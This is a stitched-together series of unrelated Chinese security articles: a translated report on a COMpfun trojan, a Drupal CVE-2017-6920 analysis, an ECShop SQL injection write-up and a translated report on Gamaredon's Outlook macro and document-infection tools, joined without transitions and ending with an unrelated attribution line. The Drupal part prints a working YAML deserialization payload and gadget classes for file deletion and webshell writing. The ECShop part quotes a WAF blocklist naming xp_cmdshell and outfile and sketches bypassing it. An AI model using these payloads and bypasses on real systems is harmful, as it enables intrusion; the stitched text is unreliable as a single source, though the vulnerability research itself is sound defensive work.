**译者：知道创宇404实验室翻译组**
2019年秋，我们[发布了一篇文章](https://securelist.com/compfun-successor-reductor/93633/)，其主要讲述了一个名为Reducor的COMpfun后继文件是如何即时感染文件以破坏TLS流量的，目前该恶意软件的开发者们还在开发新的功能。2019年11月下旬，我们的搜索引擎发现了一个新的木马，其之前发现的代码高度相似，经过我们进一步的研究表明，它使用的是与COMPFun相同的代码库。
## 里面有什么
该恶意活动幕后操纵者聚焦于外交实体上，这次目标是在欧洲。他们将最初的释放器以伪造签证申请的形式进行传播。合法的应用程序及32位或64位的恶意软件被保存在加密释放器中，但恶意代码是如何传递到目标中的这点我们尚不清楚。
感染链
我们观察到了一个有趣的C2通信协议，该协议使用了罕见的HTTP/HTTPS状态代码（即IETF RFC 7231，6585，4918），而Client
Error类中的几个HTTP状态代码（422-429）会使木马知道操作员想要做什么，在控制服务器发送“Payment
Required”（402）状态之后，会执行先前所接收到的命令。
操作者将RSA公钥和唯一的HTTP
ETag保留在加密的配置数据中。出于Web内容缓存原因而创建的此标记也可以用于过滤对C2的请求，如：来自网络扫描程序而非目标的请求。除了上述用于与C2通信的RSA公钥外，该恶意软件还使用自行生成的AES-128密钥。
## 操作者是谁
COMPfun恶意软件最初是由G-DATA于2014年记录的，尽管该公司无法确定哪个APT正在使用该恶意软件。但根据受害者学理论，我们能够将其与[Turla
APT](https://securelist.com/all/?tag=718)进行关联，其可信度为中低级。
## 木马能做什么
其功能包括获取目标的地理位置，收集与主机和网络有关的数据、键盘记录和屏幕截图的能力。换句话说，它是普通的成熟木马，也能够将其传播到可移动设备。
就像之前来自同操作者的恶意软件一样，所有必要的功能地址都可以进行动态解析，这样会使分析变得复杂化。为了通过HTTP/HTTPS将目标数据泄露到C2，然后恶意软件使用RSA进行加密，通过LZNT1压缩单字节的XOR进行加密实现本地数据隐藏。
木马用于各种任务的加密和压缩
### 初始释放器
第一阶段的释放器从局域网共享目录进行下载，与签证申请程序相关的文件名和目标外交实体完全相对应。和具有相似代码基的所有模块一样，释放器动态解析成所有必要的Windows
API函数地址，并将它们放入对应结构。然后从其资源（.rsrc）中解密部分下一阶段的恶意软件，其算法是使用密钥的“0x55”的单字节 XOR
，并使用LZNT1对其进行压缩。
除了恶意软件试图模仿的原始应用程序之外，以下文件也被拖放到磁盘上：
释放器要求用户以管理员身份来运行文件，然后删除与主机架构相对应的版本，并将文件系统时间戳设置为2013.12.20 22:31。
有趣的是，释放器的权限并不局限于PE诱饵，这个阶段还可以使用.doc和.pdf文件。在这样的情况下，释放器将使用`open
shell`命令打开文件，而不是运行合法的欺骗可执行应用程序。
### 主模块–基于HTTP状态的木马
下面的分析基于上表中的32位样本，合法的ExplorerFrame.dll.mui是Windows资源管理器使用的ExplorerFrame.dll文件的语言资源。
多线程特洛伊木马程序的功能
### 初始化
与之前的恶意软件代码一样，大量简短的独立函数会返回到所有的可读字符串中。为了不让研究人员一眼就能看到字符串，使用这样操作会使分析变得相对复杂，在模块的准备阶段，动态形式将所有必需的Windows
API函数地址解析为自定义结构，这样的操作会使恶意软件只能调动间接函数。
该模块获取处理器体系结构（32位或64位）和Windows操作系统版本。它会对与虚拟机相关的设备（VEN VMWARE、VBOX硬盘、virtual DVD
ROM等）进行多项反分析检查，来避免执行受到控制，此外其还指出了主机上运行的安全产品（Symantec、Kaspersky、Dr.Web、Avast）。
在每次与C2通信之前，恶意软件都会检查调试器（如WinDbg、OllyDbg、Visual
Studio）、主机（进程浏览器或监视器等）及网络监视（Wireshark、TCPView等）程序是否正在运行。此外还检查internet是否连接，若检查失败，则不进行通讯。
动态链接库还能够检查在运行的进程，在需要付款的情况下，该链接库可检查系统、产品安全以及浏览器的进程，紧接着恶意软件将形成相应的代码来对相关文件进行删除。
在初始化过程中，最后一步是文件解密并进行解压。使用0xAA密钥的XOR字节进行解密，使用LZNT1算法进行解压。通过此配置，恶意软件会解析RSA公钥、ETag和IP地址来和相关的服务器进行通信。
解密后的配置数据包含用于加密渗出数据的RSA公钥
### 基于HTTP状态的通信模块
首先，模块生成需以下内容：
* 用于HTTP GET/POST参数和HTTP状态码427（请求新命令）的AES-128加密密钥；
* 基于主机网络适配器、CPU和第一个固定逻辑驱动器序列号的4字节唯一硬件ID（HWID）。
然后，该模块从Windows（cmd.exe，smss.exe），与安全相关的应用程序（Symantec的nis.exe，Dr.Web的spideragent.exe）和浏览器开始按照优先级从高到低的顺序选择注入代码。
（相关浏览器：IE，Opera，Firefox，Yandex浏览器，Chrome）。
主线程检查C2是否在其配置中支持TLS。如果是，通信将通过HTTPS和端口443进行；否则，将使用HTTP协议和端口80。
分析样本中的解密内容配置
发送的第一个GET请求中包含一个ETag“If
Match”头部，该头部是用解密配置中的数据生成。ETag通常使用web服务器来进行缓存，方便在ETag值匹配时不会反复发布信息，以此提高效率并节省带宽。ETag的实现意味着，如果C2没有所需的ETag值，它可以忽略所有未从其预期目标发送的请求。
C2 HTTP状态代码描述
HTTP 427可以接收以下任何附加命令：
### 可移动设备传播模块
如果初始化成功，恶意软件将再启动一个线程来发送Windows消息，查找与WM_DEVICECHANGE事件相关的可移动设备。当USB设备插入或拔出主机时，模块将运行自己的处理程序。
### 其他间谍模块：键盘记录器、屏幕截图工具等
使用多个挂钩监视用户的活动，他们都独立于任何指挥控制系统来收集目标数据。使用存储在配置数据中的RSA公钥对击键进行加密，每两秒钟或在记录超过512个字节时发送一次。这512个字符还包括鼠标左键单击（写为“MSLBTN”字符串）和Windows标题栏文本。对于剪贴板内容，模块计算一个MD5哈希，如果它发生更改，则使用相同的RSA公钥加密剪贴板内容，然后将其发送。
在单独的线程中，木马使用GDIPlus库获取位图截图，使用LZNT1算法对其进行压缩，使用配置数据中的密钥对其进行加密，然后将其发送到控制服务器。不论在任何情况下，截图都将被截取并发送给目标，其与任何C2命令都无关。
### 最后但并非最不重要的
恶意软件作者做出了多种选择（尽管不是主要的技术选择），我们仍认为这些选择值得关注。
基于COM劫持的持久性方法将其相应的代码和结构作为参数注入到合法进程的内存中。该恶意软件使用合法的Web服务对受害者进行地理定位（geoplugin.net/json.gp、ip-api.com/json和telize.com/geoip）。 HTTP状态线程中异常的线程同步超时计算很特殊。从数学上讲，该级数的部分和正好是：
在全额情况下，该级数只是指数的表示。开发人员可能使用该指数使通信线程中的超时变得更加不可预测，并且增长速度很快，而编译器是这样计算的。
## COMPFun操作者实现了什么
2019年，我们两次看到COMpfun开发者的创新方法。首先，他们通过[PRNG系统功能补丁](https://securelist.com/compfun-successor-reductor/93633/)绕过了TLS加密的通信，然后我们观察到C2通信的独特实现使用了不常见的HTTP状态码。
由于最初的感染媒介对他们有利，恶意软件运营商仍将注意力集中在外交实体和选择与签证相关的应用程序上，这些应用程序存储在本地网络共享的目录中。针对目标采取了量身定制的执行方法，这无疑将会使COMPFun背后的开发人员成为一个强大的进攻性团队。
## IOCs
**File MD5 Hashes**
Trojan 32-bit:
[A6AFA05CBD04E9AF256D278E5B5AD050](https://opentip.kaspersky.com/A6AFA05CBD04E9AF256D278E5B5AD050/)
Trojan 64-bit:
[1BB03CBAD293CA9EE3DDCE6F054FC325](https://opentip.kaspersky.com/1BB03CBAD293CA9EE3DDCE6F054FC325/)
**IPs**
[95.183.49.10](https://opentip.kaspersky.com/95.183.49.10/)
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=95.183.49.10%20
"（ZoomEye搜索结果）"))
[95.183.49.29](https://opentip.kaspersky.com/95.183.49.29/)
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=95.183.49.29
"（ZoomEye搜索结果）"))
[200.63.45.35](https://opentip.kaspersky.com/200.63.45.35/)
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=200.63.45.35
"（ZoomEye搜索结果）"))
* * * | 社区文章 |
作者: **启明星辰ADLab**
### 0x01 漏洞描述
2017年6月21日，Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞，影响为Critical。这是Drupal
Core的YAML解析器处理不当所导致的一个远程代码执行漏洞，影响8.x的Drupal Core。
### 0x02 漏洞分析
通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点，如下图：
可以看到，8.3.4 `decode`函数的开始处增加了如下的代码：
static $init;
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
漏洞所在函数`decode`的触发点代码如下：
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);
`decode`函数的参数`$raw`被直接带入了`yamlparse`函数中，官方文档对于`yamlparse`函数的描述如下：
yamlparse
(PECL yaml >= 0.4.0) yaml_parse — Parse a YAML stream
Description
mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks = null ]]] ) Convert all or part of a YAML document stream to a PHP variable.
Parameters
input The string to parse as a YAML document stream.
pos Document to extract from stream (-1 for all documents, 0 for first document, ...).
ndocs If ndocs is provided, then it is filled with the number of documents found in stream.
callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.
Return Values
Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.
第一个参数是需要parse成yaml的文档流。从上文来看，只有`yaml_parse`的第一个参数是外部可控的。官方对这个函数有一个特别的说明，也就是该漏洞的触发原理：
Notes
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.
即可以通过`!php/object`来声明一个节点，然后用这个`!php/object`声明的节点内容会以unserialize的方式进行处理；如果要禁止这样做，就通过设置`yaml.decode_php`来处理，这就是官方补丁在`decode`函数前面加的那几行代码。因此，这个远程代码执行漏洞的罪魁祸首就是`yaml_parse`函数可能会用反序列化的形式来处理输入的字符串，从而导致通过反序列化类的方式来操作一些危险类，最终实现代码执行。
显然，控制`decode`函数的参数即可触发该漏洞。先定位`decode`函数的调用位置，在`/core/lib/Drupal/Component/Serialization/Yaml.php`中第33行发现：
public static function decode($raw) {
$serializer = static::getSerializer();
return $serializer::decode($raw);
}
该函数调用了`getSerializer`函数，跟踪该函数在`/core/lib/Drupal/Component/
Serialization/Yaml.php`中第48行发现：
protected static function getSerializer() {
if (!isset(static::$serializer)) {
// Use the PECL YAML extension if it is available. It has better
// performance for file reads and is YAML compliant.
if (extension_loaded('yaml')) {
static::$serializer = YamlPecl::class;
}
else {
// Otherwise, fallback to the Symfony implementation.
static::$serializer = YamlSymfony::class;
}
}
return static::$serializer;
}
如果存在yaml扩展，`$serializer`就使用`YamlPecl`类，然后调用`YamlPecl`这个类中的`decode`函数；如果不存在yaml扩展，就用`YamlSymfony`类中的`decode`函数。显然，一定要迫使代码利用`YamlPecl`类中的`decode`函数，这需要引入yaml扩展，Linux平台的步骤如下：
**（1）编译yaml**
在`http://pecl.php.net/package/yaml`下载tgz源码包，然后执行`tar -zxvf yaml-1.3.0.tgz cd
yaml-1.3.0 phpize ./configure make make install`，执行完返回一个文件夹名字，这就是生成的扩展所在目录。
**（2）引用扩展**
修改php.ini中的`extension_dir`为该扩展所在目录，然后加上 `extension=yaml.so` 就可以了。
windows平台步骤更简单，在`http://pecl.php.net/package/yaml`中下载对应的dll文件，然后将`php_yaml.dll`放入php扩展文件夹下，然后修改php.ini，将`extensiondir`为`phpyaml.dll`所存放的目录，然后加上
`extension=php_yaml.dll`。
最后重启apache，看到phpinfo中有yaml扩展，就说明安装成功，如图:
现在yaml扩展已经准备好，最后定位外部可控的输入点。上文中`YamlPecl::decode`是在`Yaml::decode`函数中调用的，继续回溯全文调用`Yaml::decode`函数的地方，发现外部可控的地方只有一处，
在`/core/modules/config/src/Form/ConfigSingleImportForm.php`中第280行：
public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; }
try {
// Decode the submitted import.
$data = Yaml::decode($form_state->getValue('import'));
}
catch (InvalidDataTypeException $e) {
$form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));
}
这里对外部输入的import值进行`Ymal::decode`操作，因此这里就是漏洞的数据触发点。
要利用该漏洞进行远程代码执行，需要一个可以利用的类。Drupal使用命名空间的方式来管理类，可以全局实例化一个类，也可以反序列化一个类；该漏洞利用了反序列，因此需要找一个反序列类。通过`_destruct`以及`_wakeup`来定位类，全局搜索可以找到几个可利用的类。
（1）`/vendor/symfony/process/Pipes/WindowsPipes.php`中的89行：
public function __destruct()
{
$this->close(); $this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $filename)
{ if (file_exists($filename)) { @unlink($filename); } }
$this->files = array();
}
通过反序列化这个类可以造成一个任意文件删除。
（2）`/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php`中第37行：
public function __destruct() { $this->save($this->filename); }
/**
Saves the cookies to a file. *
@param string $filename File to save
@throws \RuntimeException if the file cannot be found or created */
public function save($filename) {
$json = [];
foreach ($this as $cookie) { /* @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\jsonencode($json);
if (false === fileput_contents($filename, $jsonStr))
{ throw new \RuntimeException("Unable to save file {$filename}"); }
}
通过反序列化这个类可以造成写入webshell。
（3）`/vendor/guzzlehttp/psr7/src/FnStream.php`中第48行：
public function __destruct() {
if (isset($this->_fn_close)) { call_user_func($this->_fn_close); }
}
通过反序列化这个类可以造成任意无参数函数执行。
### 0x03 漏洞验证
启明星辰 ADLab 通过对本漏洞的深度分析，构造了任意无参数函数的POC并测试验证成功，具体验证情况如下：
第一步：序列化一个`GuzzleHttp\Psr7\FnStream`类,
因为序列化后的字符串可能带有不可显示字符，所以采用把结果写入到文件的方式，序列化后的字符串如图：
第二步：给该序列化字符串加上yaml的`!php/object` tag(注意一定要转义)，最后得到的字符串如下：
`!php/object
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"`
第三步：登录一个管理员账号，访问如下url:
`http://localhost/drupal833/admin/config/development/configuration/single/import`，然后我们进行如图所示的操作：
然后点击import按钮，就会执行phpinfo函数。
### 0x04 漏洞修复
最新发布的Drupal 8.3.4
已经修复了该漏洞，针对低于8.3.4的版本也可以通过升级Drupal文件`/core/lib/Drupal/Component/Serialization/YamlPecl.php`中的`decode`函数进行防御(添加如下红色代码即可):
public static function decode($raw) {
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}
### 0x05 漏洞检测
针对该漏洞，可采用两种方法进行检测：
方法一：登陆Drupal管理后台，查看内核版本是8.x，且版本号低于8.3.4，则存在该漏洞；否则，不存在该漏洞；
方法二：在Drupal根目录下找到文件`/core/lib/Drupal/Component/Serialization/
YamlPecl.php`，定位到函数`public static function decode($raw)`，如果该函数代码不包含`"
ini_set('yaml.decode_php', 0);"`调用，则存在该漏洞；否则，不存在该漏洞。
相关链接： https://www.drupal.org/SA-CORE-2017-003
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
### Author:Joseph
这里我需要说明一下echsop具备全局的一个安全转义
全局文件:/includes/init.php
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
当未开启gpc后进入addslashes_deep函数内容,php在高版本后gpc处于默认关闭状态
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
addslashes_deep当string时直接进行安全转义，数组时递归转义，这便是ecshop的全局安全。
漏洞文件:user.php
$post_data = json_decode(str_replace('\\','',$_POST['JSON']),1);
//判断是否经过验证码验证
if((!isset($_SESSION['v_code']) || $_SESSION['v_code']!='true') && !isset($post_data['no_need_vcode']) ){
make_json_result('v_code fail');exit;
}
$_SESSION['v_code'] = 'false';
$mobile = $post_data['mobile'] ? $post_data['mobile'] : false;
$is_send = 'fail';
POST获取JSON值并进行json_decode而json_decode具备绕过全局转义以及gpc的特点，也就是会吞并反斜杠。当我们提交'时会被转义成\'而这里再经过一次json_decode则因吞并反斜杠导致还原单引号所以导致我们可以输入危害内容，但下面还存在一个if的判断
if((!isset($_SESSION['v_code']) || $_SESSION['v_code']!='true') && !isset($post_data['no_need_vcode']) ){
make_json_result('v_code fail');exit;
}
判断SESSION的v_code值是否为true与no_need_vcode是否定义，因为这里用的是&&所以我们满足其中一个条件即可绕过判断，post_data是由我们json_decode后赋值的变量所以这里no_need_vcode可控绕过判断
$_SESSION['v_code'] = 'false';
$mobile = $post_data['mobile'] ? $post_data['mobile'] : false;
$is_send = 'fail';
if($mobile){
// 找回密码验证输入的手机号是否已注册
if (isset($post_data['action']) && $post_data['action'] == 'sms_get_password') {
$is_reg = $user->check_user($mobile);
if (!$is_reg) {
make_json_result($_LANG['phone_number_reg_check_fail']);
exit();
}
}
将post_data中的mobile赋予$mobile并一下判断action是否指定为sms_get_password方法，当指定时则进入check_user方法
function check_user($username, $password = null)
{
if ($this->charset != 'UTF8')
{
$post_username = ecs_iconv('UTF8', $this->charset, $username);
}
else
{
$post_username = $username;
}
if ($password === null)
{
$sql = "SELECT " . $this->field_id .
" FROM " . $this->table($this->user_table).
" WHERE " . $this->field_name . "='" . $post_username . "'";
return $this->db->getOne($sql);
}
username为我们提交的mobile内容,password未带入所以这里为NULL故进入password===null条件中执行
$sql = "SELECT " . $this->field_id .
" FROM " . $this->table($this->user_table).
" WHERE " . $this->field_name . "='" . $post_username . "'";
期间未再经过转义所以导致存在注入但ecshop在新版本后存在安全防护
安全防护文件:/includes/safety.php
<?php
$url_arr=array(
'xss'=>"\\=\\+\\/v(?:8|9|\\+|\\/)|\\%0acontent\\-(?:id|location|type|transfer\\-encoding)",
);
$args_arr=array(
'xss'=>"[\\'\\\"\\;\\*\\<\\>].*\\bon[a-zA-Z]{3,15}[\\s\\r\\n\\v\\f]*\\=|\\b(?:expression)\\(|\\<script[\\s\\\\\\/]|\\b(?:eval|alert|prompt|msgbox)\\s*\\(|url\\((?:\\#|data|javascript)",
'sql'=>"(EXTRACTVALUE|EXISTS|UPDATEXML)\\b.+?(select|concat)|[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)",
'other'=>"\\.\\.[\\\\\\/].*\\%00([^0-9a-fA-F]|$)|%00[\\'\\\"\\.]");
if( !function_exists('filterData') ){
function filterData(&$data,$type){
$data and filterArray($data,$type);
}
以上为安全防护的正则内容,一看就输入可以绕过的,因为们有json_decode所以可以打乱关键字导致绕过，至于硬刚绕过，菜鸟不会。 | 社区文章 |
**原文链接：[Gamaredon group grows its
game](https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/ "Gamaredon group grows its game")**
**作者：知道创宇404实验室翻译组**
研究人员发现，高度活跃的Gamaredon威胁组织在各种恶意活动中使用了未被记录的工具，其中一个是针对微软Outlook的VBA宏（使用电子邮件向受害者的Microsoft
Office通讯簿中的联系人发送鱼叉式钓鱼邮件）。我们还进一步分析了Gamaredon工具，这些工具能够将恶意宏和远程模板注入到现有的Office文档中。
自2013年起Gamaredon组织开始活跃。CERT-UA和乌克兰其他官方机构的报告中证实了它曾对乌克兰机构发起了袭击。在过去的几个月里，这个群体的活动有所增加，不断有恶意邮件袭击他们目标的邮箱。这些电子邮件的附件是带有恶意宏的文档，在执行时会尝试下载多种不同的恶意软件变种。Gamaredon使用了许多不同的编程语言，从
c#到VBScript、批处理文件和c/c++。
Gamaredon使用的工具非常简单，旨在从受到威胁的系统中收集敏感信息并进一步传播。与其他APT组织不同的是，Gamaredon组织行为却非常高调。尽管他们的工具具有下载和执行更隐秘的任意二进制文件的能力，但该小组的主要重点却是在试图窃取数据的同时，在目标网络中尽可能快地传播。
## 背景
下图说明了Gamaredon运动中的典型折衷链
近期大众将重点放在冒充电子邮件以及它们所包含的下载器上，但该文关注的是部署在这些系统上的危害工具。
## Outlook VBA模块
Gamaredon组织使用的程序包包括一个自定义Microsoft Outlook Visual
Basic应用程序（VBA）。在调查恶意活动时，很少使用Outlook宏来分发恶意软件。
这个恶意代码包从一个VBScript开始，如果Outlook进程正在运行，它会首先终止该进程，然后通过更改注册表值来移除Outlook中VBA宏，保证运行环境的安全性。它还会将包含宏、恶意电子邮件附件以及在某些情况下将电子邮件发送到收件人列表的恶意OTM文件（Outlook
VBA项目）保存到磁盘。
接下来，它用一个特殊的选项/altvba otm filename来重启Outlook，该选项加载
Gamaredonvba项目。在收到Application.Startup[命令](https://docs.microsoft.com/en-us/office/vba/api/outlook.application.startup)后，将执行恶意代码。他们运用这个模块以三种不同方式发送给：
* 受害者通讯录中的所有人
* 同一组织内的每个人
* 预定义目标列表
虽然未经受害者的同意而滥用受威胁的邮箱来发送恶意电子邮件并不是一项新技术，但我们认为这是攻击小组使用OTM文件和Outlook宏来实现的第一个公开记录的案例。
基于这个恶意VBA代码的“发送给所有联系人列表”行为，我们认为这个模块可能导致一些组织认为他们是Gamaredon的目标，
如可以通过此模块的操作来解释最近上传到VirusTotal的样本来对传统上不受Gamaredon攻击的区域如[日本](https://blog.trendmicro.co.jp/archives/24285)。
如图2所示，VBA代码将恶意文档附加到电子邮件（我们已经看到.docx和.lnk文件都被用作附件）。这些与Gamaredon最初的鱼叉式广告活动中使用的恶意附件的内容非常相似，下图显示了此恶意组件生成的电子邮件。
该电子邮件包含英语和俄语文本，但是如上图所示俄语编码存在问题，此问题在后续过程中得到了解决。
## Office宏注入模块– CodeBuilder
我们分析了Gamaredon组织使用的恶意模块的不同变体，以将恶意宏或远程模板注入受感染系统的文档中。这是一种非常有效的在组织网络内横向移动的方式，因为文档在同事之间是共享的。同样，由于这些宏是在打开文档时是运行的，因此这是一种在系统上持久保存的好方法。
这些宏注入模块还具有篡改Microsoft
Office宏安全设置的功能。因此，受影响的用户不知道他们在打开文档时会再次损害电脑工作站。我们已经看到了用两种不同语言实现的模块：C＃和VBScript。
### C＃
像其他工具一样，此模块是在7z自解压存档中提供的。里面有一个受密码保护的RAR存档，其中包含一些文件。值得注意的是，有两个文本文件，一个用于Word，一个用于Excel，其中包含要插入目标文档中的恶意宏的VBA源代码，以及用于查找和破坏现有文档的.NET程序集。如图所示，程序集名称为CodeBuilder。
此.NET模块首先通过修改以下注册表值来减少各种文档类型的Office宏安全设置：
HKCU\Software\Microsoft\Office\\\Security\VBAWarnings
HKCU\Software\Microsoft\Office\\\Security\AccessVBOM
主要针对迭代Word、Excel和Office版本，然后扫描所有连接到系统驱动器上有效的Word和Excel扩展名文档。对于包含Windows安装的驱动器，它只扫描特定的位置（Desktop和Downloads文件夹），其他部分会整体扫描。恶意软件将每个找到的文档移动到AppData文件夹中，使用Microsoft.Office.Interop对象将恶意的Word或Excel宏插入其中，然后将文档移回到原始文件夹中。在我们分析的样本中，注入的宏是简单的下载器。
### VBScript模块
该模块的VBScript版本与.NET类似。但区别在与它没有在现有文档中插入恶意宏，而是插入了远程模板引用。
这个VBScript模块也打包在一个自解压文件夹中，其中包含一个批处理文件和两个VBS文件，这些文件负责查看文档并向其中添加远程模板引用。
## 模块更新
有趣的是，Palo Alto
Networks在[2017年](https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/)有关Gamaredon的[文章中](https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/)描述的一些自定义工具仍在更新和使用。目前有些与之相似，有些使用了编码语言进行了重写。在受损计算机上下载并安装的工具大致可以分为两类：下载器和后门。
### 下载器
他们的下载器有很多变体，其中大多数都是用C＃或VBScript编写的。本节将仅介绍其两个最原始的变体。
#### C＃编译器模块
该.NET可执行文件与Gamaredon组使用的工具类似，会将垃圾代码插入和字符串混淆，它的主体中包含下载程序的base64编码的源代码。使用内置的Microsoft.CSharp.CSharpCodeProvider类对该源代码进行解码并直接在系统上进行编译，它将生成的可执行文件放置在现有目录中，创建一个计划任务（该任务每10分钟启动一次）。如图所示：
#### GitHub项目模块
如图所示，此.NET可执行文件使用GitHub存储库获取并执行下载程序。
该存储库包含一个文件readme.txt（文件是base64编码的.NET下载程序可执行文件）。GitHub项目模块的作用是下载此文件，对其进行解码并执行。
### 后门–文件窃取者
虽然功能上存在一些变化，但是这些模块的主要目的是列举受感染系统上的所有文档，并将其上载到C＆C服务器，这些文件窃取者可以从C＆C服务器下载并执行任意代码。与Gamaredon使用的其他工具一样，它们具有四种不同的编码语言：C/C++、C＃，批处理文件和VBScript。
#### C/C++
变体是[此处](https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/)描述的USBStealer模块的后继产品。尽管和现在的最新版本大不相同，但在整个模块开发过程中通过样本检查发现它们具有相同的源代码。
如：Harvesterx64.dll的64位DLL，该DLL于2019年6月编译，使用了大量的字符串，但在新版本中有两个改进之处。首先它通过Hash解析Windows
API，其次它使用文本文件而不是SQLite数据库来跟踪哪些文件已经上传到C＆C服务器。
该模块的行为非常简单：它在系统上扫描本地文件和可移动驱动器上的新Microsoft
Office文档，并将其上载到C＆C服务器。为了知道文档是否是新文档，该模块将一个上传到服务器的文件的MD5 Hash保存在一个文本文件中。这些MD5
Hash不是基于文件内容，而是基于文件名、文件大小和上次修改时间组成的字符串。模块的字符串存储在其.data节中，并使用简单的XOR密钥进行加密。它还具有从C＆C服务器下载并执行任意代码的能力。
#### C＃
这是C/C++版本的C＃中重新实现。主要区别在于它还从受感染计算机中获取屏幕快照。如图所示，我们分析的版本具有五个名称的线程。
#### 批处理文件和VBScript
此版本包含以批处理文件形式和VBScript编写的几个脚本。但是，最终目标是相同的：在系统中扫描敏感文档。主要机制是批处理文件，该文件在系统上搜索Word文档（
_.doc_ ）并将其名称存储在文本文件中。
该软件包还包含名为1.log，2.log，3.log，4.log和5.log的加密脚本文件。一旦解密，这些脚本就会成为模糊的VBScript下载器，它们可以下载并执行任意代码。
## 网络基础设施
Gamaredon为其C＆C服务器使用许多不同的域，包括免费域和付费域。免费域名主要是来自No-IP的DDNS：hopto.org，ddns.net，myftp.biz，而付费域名是通过REG.RU注册商注册的，其中包括.fun，.site，.space，.ru，.website和.xyz
TLD。
他们不断地更改其工具所使用的域，但主要是在少数ASN上。仔细分析研究发现他们针对少数受害者使用了单独的域。检查[ESET的GitHub帐户](https://github.com/eset/malware-ioc/tree/master/gamaredon)以获取Gamaredon使用的广泛域列表。
## 执行质量
我们能够收集Gamaredon小组在整个竞选活动中使用的大量不同示例的恶意脚本、可执行文件和文档。我们注意到其中的一些错误（脚本中的）。虽然不知道这些错误或疏忽背后的确切原因，但是该小组生产的样本数量及其迅速发展程度可以解释这一点。一些C＃编译器模块示例中包含的源代码保留了注释、Outlook
VBA模块生成的电子邮件中的俄语编码错误，这些事实表明，在发布它们的许多工具并使用它们之前，没有进行严格的审查或测试。
尽管这些错误可能会降低工具的整体效率，但该小组的快速执行和适应能力也具有一些优势。攻击的数量可能使目标处于不断恐惧的状态。
而且GitHub项目使我们可以快速了解他们的工具开发状况。最初的版本没有混淆的迹象，后来开发人员添加了不同的字符串混淆垃圾代码，使分析变得更加困难。
在持久性方面，使用了几种不同的技术，但最常见的技术是计划任务、自动运行注册表项和启动文件夹。尽管这些技术非常简单且已为人所知，但Gamaredon的策略是尝试在每个系统上安装多个脚本和可执行文件，并不断对其进行更新。
## 结论
尽管大多数工具都非常简单，但Gamaredon也能够部署一些新颖性的工具，如Outlook
VBA模块。从长远来看，这对于一个有能力的组织来说是绝无仅有的。Gamaredon拥有的各种工具可以非常有效地对机器进行指纹识别并了解可用的敏感数据，然后在整个网络中传播，这可能是部署更隐蔽的有效载荷的一种方法。
## IoCs
### MITRE ATT&CK techniques
* * * | 社区文章 |
本文来自i春秋作者：[索马里的海贼](http://bbs.ichunqiu.com/thread-13714-1-1.html?from=seebug)
